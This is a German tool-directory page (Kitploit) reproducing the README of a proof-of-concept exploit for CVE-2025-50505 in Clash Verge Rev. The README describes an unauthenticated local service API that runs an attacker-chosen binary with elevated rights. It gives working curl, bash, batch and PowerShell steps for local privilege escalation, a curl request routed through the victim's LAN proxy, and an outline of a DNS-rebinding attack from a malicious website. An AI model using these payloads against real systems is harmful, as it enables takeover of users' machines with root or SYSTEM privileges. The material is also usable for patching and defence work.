Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-50505 — Exploit für CVE-2025-50505 in Clash Verge Rev, der lokale Privilegienausweitung und Remote-Codeausführung über eine nicht authentifizierte API demonstriert, einschließlich DNS-Rebinding- und Reverse-Shell-Techniken. | Kitploit
Tools/GitHubGitHub/a0yami/cve-2025-50505
Privilege EscalationSchwachstellenanalyseExploitationLaterale BewegungWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed TeamingRemote-Access-ToolPayload-EntwicklungDNS-Analyse
20793vor 11 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHuba0yami/cve-2025-50505

CVE-2025-50505

Exploit für CVE-2025-50505 in Clash Verge Rev, der lokale Privilegienausweitung und Remote-Codeausführung über eine nicht authentifizierte API demonstriert, einschließlich DNS-Rebinding- und Reverse-Shell-Techniken.

Repository anzeigen

CVE-2025-50505

Nicht autorisierte API führt zu beliebiger Befehlsausführung und Privilegieneskalation in Clash Verge Rev

Beschreibung

Die Schwachstelle geht auf einen nicht authentifizierten API-Endpunkt zurück, der von der Komponente clash-verge-service bereitgestellt wird, die standardmäßig mit erhöhten Privilegien installiert wird. Dieser Fehler ermöglicht es Angreifern, beliebige Befehle auszuführen, was zu zwei primären Angriffsszenarien führt: lokale Privilegieneskalation (LPE) auf dem Host-Rechner und Remote Code Execution (RCE) unter bestimmten Bedingungen.

Der RCE-Vektor kann von Angreifern im selben Local Area Network (LAN) ausgenutzt werden, wenn der Benutzer LAN-Verbindungen aktiviert hat. Noch kritischer ist, dass er aus dem öffentlichen Internet ausgenutzt werden kann, indem die Schwachstelle mit einem DNS-Rebinding-Angriff kombiniert wird. Dadurch können Angreifer die Sicherheitsrichtlinien des Browsers umgehen und Befehle auf dem Rechner eines Opfers ausführen, indem sie es lediglich dazu bringen, eine bösartige Website zu besuchen.

Die erste öffentliche Warnung vor dieser Schwachstelle wurde von @KawaiiZapic auf X ausgesprochen.

  • Betroffene Software: Clash Verge Rev <= v2.2.3
  • Betroffene Plattformen: Windows, macOS, Linux
  • Auswirkungen: Lokale Privilegieneskalation, Remote Code Execution

Technische Details

Die Komponente clash-verge-service läuft mit hohen Privilegien (root oder SYSTEM) und stellt eine nicht authentifizierte HTTP-API auf 127.0.0.1:33211 bereit. Die Schwachstelle befindet sich im Endpunkt /start_clash, der ein JSON-Payload zur Steuerung des Starts des Mihomo-Kernprozesses akzeptiert.

Der Dienst konstruiert und führt einen Befehl auf der Grundlage mehrerer Parameter aus diesem Payload aus, der einer ähnlichen Struktur wie der folgenden folgt:

<bin_path> -d <config_dir> -f <config_file> >> <log_file>

Entscheidend ist, dass alle vier Parameter – bin_path, config_dir, config_file und log_file – vollständig vom Angreifer kontrollierbar sind. Obwohl Rust einen inhärenten Schutz gegen klassische Befehlsinjektion (z. B. durch Verwendung von ; oder | zur Verkettung von Befehlen) bietet, ermöglicht die Kontrolle des Angreifers über die gesamte Befehlsstruktur einen zweistufigen Angriff, um beliebige Codeausführung zu erreichen.

Anfällige Codestellen

  1. Der Dienstprozess lauscht über das Warp-Framework auf 127.0.0.1:33211, und für die /start_clash-Schnittstelle ist keine Authentifizierung implementiert.

clash-verge-service/src/service/mod.rs

// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
    .and(warp::path("start_clash"))
    .and(warp::body::json())
    .map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
    api_get_version
        .or(api_start_clash)
        .or(api_stop_clash)
        .or(api_stop_service)
        .or(api_get_clash)
        .or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
  1. start_clash() ruft start_mihomo() auf, und start_mihomo() ruft die Funktion process::spawn_process(bin_path, &args, log) auf und übergibt bin_path. spawn_process() ruft std::Command::new(command) auf, um den Befehl auszuführen.

clash-verge-service/src/service/core.rs

let pid = process::spawn_process(bin_path, &args, log)?;

clash-verge-service/src/service/process.rs

let child = Command::new(command)
    .args(args)
    .stdout(log)
    .stderr(Stdio::null())
    .spawn()?;

Angriffsvektor 1: Lokale Privilegieneskalation (LPE)

Linux

  1. Erstellen Sie ein bösartiges Skript: (normaler Benutzer)
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn  
chmod +x /home/user/pwn 
  1. Senden Sie eine nicht authentifizierte Anfrage:
curl -XPOST http://127.0.0.1:33211/start_clash \
     -H 'Content-Type: application/json' \
     -d '{
       "bin_path":"/home/user/pwn",
       "config_dir":"/tmp",
       "config_file":"/dev/null",
       "log_file":"/tmp/x"
     }'

  1. Überprüfen Sie die Privilegieneskalation:
sudo cat /root/pwned

Windows

pwn.bat:

@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt

test.ps1:

$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
    bin_path    = "C:\Users\xxx\Desktop\pwn.bat"
    config_dir  = "C:\Windows\Temp"
    config_file = "NUL"
    log_file    = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json

Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

Angriffsvektor 2: Remote Code Execution (RCE)

Die Schwachstelle kann in zwei Szenarien zu RCE eskaliert werden.

Szenario A: RCE aus dem LAN durch Proxy-Missbrauch

Wenn ein Benutzer die Option "Allow LAN" (局域网连接) im Clash-Verge-Rev-Client aktiviert, wird der Proxyserver der Anwendung für alle Geräte im selben lokalen Netzwerk zugänglich. Ein Angreifer im selben LAN kann dies ausnutzen, indem er seine bösartige Anfrage über den exponierten Proxy des Opfers leitet.

curl --proxy http://192.168.108.129:7897 \
     -XPOST http://127.0.0.1:33211/start_clash \
     -H 'Content-Type: application/json' \
     -d '{
         "bin_path":"/path/to/malicious/script",
         "config_dir":"/tmp",
         "config_file":"/dev/null",
         "log_file":"/tmp/x"
     }'

Szenario B: RCE aus dem öffentlichen Internet per DNS-Rebinding

Ein fortgeschrittenerer Angriff kann aus dem Internet durchgeführt werden, ohne dass ein LAN-Zugriff erforderlich ist. Die Angriffskette nutzt DNS-Rebinding in Kombination mit einem spezifischen Browserverhalten, das als "0.0.0.0-day"-Exploit bekannt ist.

Der Schlüssel zu diesem Angriff liegt darin, dass Firefox und bestimmte Versionen von Chromium die IP-Adresse 0.0.0.0 als Alias für 127.0.0.1 behandeln. Dies ermöglicht es einem Angreifer, moderne Browser-Sicherheitsfunktionen wie die Same-Origin-Policy (SOP) und Private Network Access (PNA) zu umgehen.

Der Angriffsablauf ist wie folgt:

  1. Das Opfer besucht eine bösartige Website, die auf einer vom Angreifer kontrollierten Domain gehostet wird (z. B. attacker.com).
  2. Der DNS-Server des Angreifers löst attacker.com zunächst in seine echte öffentliche IP-Adresse auf. Die bösartige Seite wird im Browser des Opfers geladen.
  3. Das JavaScript auf der Seite stellt weitere Anfragen. Im Hintergrund ändert der DNS-Server des Angreifers die IP-Adresse für attacker.com mit einer sehr kurzen TTL auf 0.0.0.0.
  4. Wenn der DNS-Cache des Browsers abläuft, wird attacker.com erneut aufgelöst und erhält nun 0.0.0.0.
  5. Aufgrund des browserspezifischen Verhaltens wird die Anfrage nicht blockiert, sondern direkt an 127.0.0.1 auf dem Rechner des Opfers gesendet.
Tool herunterladen